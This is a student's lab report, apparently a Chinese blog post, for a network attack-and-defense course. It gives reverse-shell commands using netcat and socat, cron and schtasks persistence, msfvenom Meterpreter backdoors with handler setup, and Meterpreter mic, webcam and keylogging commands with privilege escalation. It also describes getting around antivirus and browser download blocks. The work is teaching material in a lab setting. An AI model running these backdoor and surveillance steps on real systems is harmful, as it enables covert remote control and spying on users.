20222310 2024-2025-1 《网络与系统攻防技术》实验二实验报告

一、实验内容

1.使用netcat获取主机操作Shell,cron启动某项任务(任务自定)。
PS:cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程

2.使用socat获取主机操作Shell, 任务计划启动。

3.使用MSF meterpreter生成后门,利用ncat或socat传送到主机并运行获取主机Shell。

4.使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权。

5.使用MSF生成shellcode,注入到实验1中的pwn1中,获取反弹连接Shell。

二、实验过程

1.使用netcat获取主机操作Shell,cron启动某项任务

先关闭防火墙和杀毒软件,在windows主机上安装netcat。windows打开终端,ipconfig查看主机的IP地址。

windows终端ncat.exe -l -p 8888(l表示listen,“监听”;p表示port,指定端口,端口号可自行指定,这里选择8888号端口)

kali终端nc 172.16.178.56 8888-e bin/sh(nc即netcat,后面的参数是要连接的ip和port,-e是指定连接后运行的程序,本例中就是shell。这里选用windows的ip和8888号端口)

windows终端ls,显示了kali虚拟机的文件名,说明成功连接并获取shell。

进入kali的root用户,crontab -e(执行文字编辑器来设定时程表),选择2:/usr/bin/vim.basic

输入后进入文字编辑器,30 * * * * /bin/netcat 172.16.178.56 8888 -e /bin/sh (输入自己主机的IP地址,在每小时的第30分钟启动任务)

编辑好后退出文字编辑器,crontab -l查看时程表

在Linux主机中的/var/spool/cron/crontabs文件中会出现一个root文件

windows终端与linux建立连接后,切换到root模式,echo "* * * * * echo "20222310" > /home/kali/2310_1.txt" > /var/spool/cron/crontabs/root crontab -l (检查时程表)

kali虚拟机进入对应路径检查2310_1.txt文件,修改成功。

2.使用socat获取主机操作Shell,任务计划启动

windows下载socat,cmd进入socat文件夹,socat.exe tcp-listen:8888 exec:cmd.exe,pty,stderr(把cmd.exe绑定到端口8888,并把cmd.exe的stderr重定向到stdout)

kali进入root用户,socat - tcp:172.16.217.17:8888

windows准备一个c语言编译运行的.exe文件"20222310shiyan2.exe",然后kali命令行schtasks /create /sc minute /mo 1 /tn "20222310" /tr "C:\Users\Administrator\Desktop\20222310shiyan2.exe"(一分钟执行一次)

windows主机打开计算机管理,观察到正在运行的"20222310"任务,说明实验成功。

3.使用MSF meterpreter生成后门,利用ncat或socat传送到主机并运行获取主机Shell

这一步之前先把windows的防火墙和杀毒软件关闭。

kaliifconfig查看虚拟机的ip地址。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.216.188 LPORT=8888 -f exe > 2310backdoor.exe(使用msfvenom 工具生成一个反向 TCP Meterpreter shell 的 payload,并将其保存到一个可执行文件2310backdoor.exe)

LHOST=172.16.216.188是shell连接的主机ip地址

LPORT=8888是攻击者监听的端口号

-f exe指定了 payload 的格式,这里是exe

2310backdoor.exe是生成的恶意可执行文件

主机进入ncat目录下,ncat.exe -lv 8888 > "C:\Users\Administrator\Desktop\2310backdoor.exe"(监听8888窗口等待接收可执行文件2310backdoor.exe,并将2310backdoor.exe文件存放在桌面上)

kali终端nc 172.16.216.188 8888 < 2310backdoor.exe(将生成的后门文件2310backdoor.exe传给主机)

windows桌面成功找到2310backdoor.exe后门可执行程序

kali终端msfconsole

use exploit/multi/handler(使用监听模块,设置payload)

set payload windows/meterpreter/reverse_tcp(使用和生成后门程序时相同的payload)

set LHOST 172.16.216.188(攻击机的IP地址)

set LPORT 8888(监听的端口)

exploit(运行监听模块)

windows主机运行2310backdoor.exe,然后kali虚拟机输入ls,可以查看windows桌面内容,说明已经连接。

4.使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权

在exploit模块继续输入以下命令:

record_mic音频

screenshot截屏

webcam_snap拍照

keyscan_start开始读取键盘记录

keyscan_dump结束读取键盘记录

音频截屏和拍照在桌面上就可以看到,键盘记录的字符串将显示在命令栏上

确保windows的cmd指令是使用管理员身份运行的,继续在exploit模块中继续输入getuid查看当前用户getsystem提权

5.使用MSF生成shellcode,注入到实验1中的pwn1中,获取反弹连接Shell

kali终端输入Msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=172.16.216.188 LPORT=8888 -x /home/zhengxiancheng/Desktop/pwn20222310 -f elf > 2310_pwn,使用msfvenom 工具生成一个 Meterpreter 反向 TCP shell的 payload,并将其注入到指定的可执行文件中,然后将结果输出到一个名为 2310_pwn的文件中。

-p linux/x86/meterpreter/reverse_tcp:指定生成的 payload 类型

LHOST=172.16.216.188:目标主机 IP 地址为172.16.216.188,即虚拟机IP地址

LPORT=8888:设置 Meterpreter shell 使用的本地端口号为 8888

-x /home/zhengxiancheng/Desktop/pwn20222310:指定一个可执行文件作为模板

-f elf:指定输出文件的格式为 ELF 格式,适用于 Linux 系统的可执行文件格式

对2310_pwn文件赋予权限chmod a+x 2310_pwn

msfconsole

use exploit/multi/handler=

set payload windows/meterpreter/reverse_tcp

set LHOST 172.16.216.188

set LPORT 8888

exploit

重新监听过程

打开另一个终端,运行2310_pwn文件,回到第一个终端,成功实现远程控制shell。

三、问题及解决方案

问题1:edge浏览器下载netcat会因为检测危险下载失败。

问题1解决方案:切换到微信进行下载。

问题2:下载的多个版本的socat中没有socat.exe可执行文件。

问题2解决方案:下载https://gitee.com/wildlinux/NetSec/attach_files中的socat。

问题3:在进行第三个实验目标时在主机上运行后门文件时,虚拟机没有反应。

问题3解决方案:这个问题的原因是虚拟机的ip地址被隐藏成了10.0.2.15,虚拟机设置的连接方式有问题,应该改成桥接网卡,具体可以参考https://blog.csdn.net/2301_79896143/article/details/135114730此文章。修改连接方式后虚拟机的ip地址改变了,问题迎刃而解。

四、回答问题

1.例举你能想到的一个后门进入到你系统中的可能方式?

答:通过含有恶意附件的电子邮件下载和运行后门程序。这些附件可能伪装成文档、图片或其他常见文件格式

2.例举你知道的后门如何启动起来(win及linux)的方式?

答:win:注册表修改、计划启动服务;linux:cron作业

3.Meterpreter有哪些给你映像深刻的功能?

答:生成后门程序,生成shellcode

4.如何发现自己有系统有没有被安装后门?

答:查看系统日志,分析可疑进程,检查启动项,使用可信任的杀毒软件等

五、学习感悟、思考等

通过此次实验,我学会了如何主机获得虚拟机的shell,虚拟机获得主机的shell,远程获得shell。我对ncat,socat等传输软件也有了初步的认识和使用经验,对后门也有了初步的了解。后门是一种用于绕过正常身份验证过程的恶意程序,通常用于允许攻击者远程访问系统。
在虚拟机上进行实验注定不是一帆风顺的过程,一个小小的错误就可能导致后续出现重大问题,比如我在完成第三个实验目标时,仅仅因为虚拟机网络连接方式有问题,导致我在主机上运行后门时,虚拟机没有反应,这个问题困扰了我三四个小时,最后我灵机一动搜索10.0.2.15这个ip地址,才得知这是一个隐藏ip地址,虚假的ip地址,是无法获得结果的重点。
这次实验也让我对网络安全有了更深的理解,深刻认识到了网络安全的重要性,后门程序可以控制主机,获得主机的隐私内容,来历不明的电子邮件或网站等都可能包含恶意后门程序,我们在上网时需要对来历不明的链接心怀警惕之心。

posted on 2024-10-17 19:44  abe1fan  阅读(32)  评论(0编辑  收藏  举报

导航